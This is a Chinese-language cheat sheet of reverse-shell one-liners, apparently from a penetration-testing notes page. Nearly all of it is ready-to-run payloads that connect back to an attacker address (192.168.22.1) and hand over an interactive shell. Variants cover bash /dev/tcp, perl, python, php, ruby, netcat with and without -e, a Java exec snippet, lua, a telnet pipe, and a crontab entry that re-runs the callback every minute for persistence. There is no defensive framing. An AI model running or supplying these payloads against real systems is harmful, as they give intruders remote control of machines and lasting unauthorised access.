跳转至

反弹shell

bash版本:

/bin/bash -i >& /dev/tcp/192.168.22.1/1234 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持

perl版本:

perl -e 'use Socket;$i="192.168.22.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.22.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:

php -r '$sock=fsockopen("192.168.22.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("192.168.22.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本:

- 使用-e

nc -e /bin/sh 192.168.22.1 1234
- 示例:

```sh
正向连接:
[受控方]nc -l -v -p 1234 -e cmd.exe
[控制方]nc 192.168.22.1 1234
反弹shell:
[受控方]nc -e cmd.exe 192.168.22.130 1234
[控制方]nc -lvvp 1234
```

- 不使用-e

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.22.1 1234 >/tmp/f

mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 192.168.22.1 1234 1>/tmp/backpipe

java版本

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.22.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.22.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

telnet版本:

telnet 192.168.22.1 8080 | /bin/bash | telnet 192.168.22.1 9090

已方同时监听8080和9090端口

Crontab版本

* * * * * /bin/bash -i >& /dev/tcp/192.168.22.1/1234 0>&1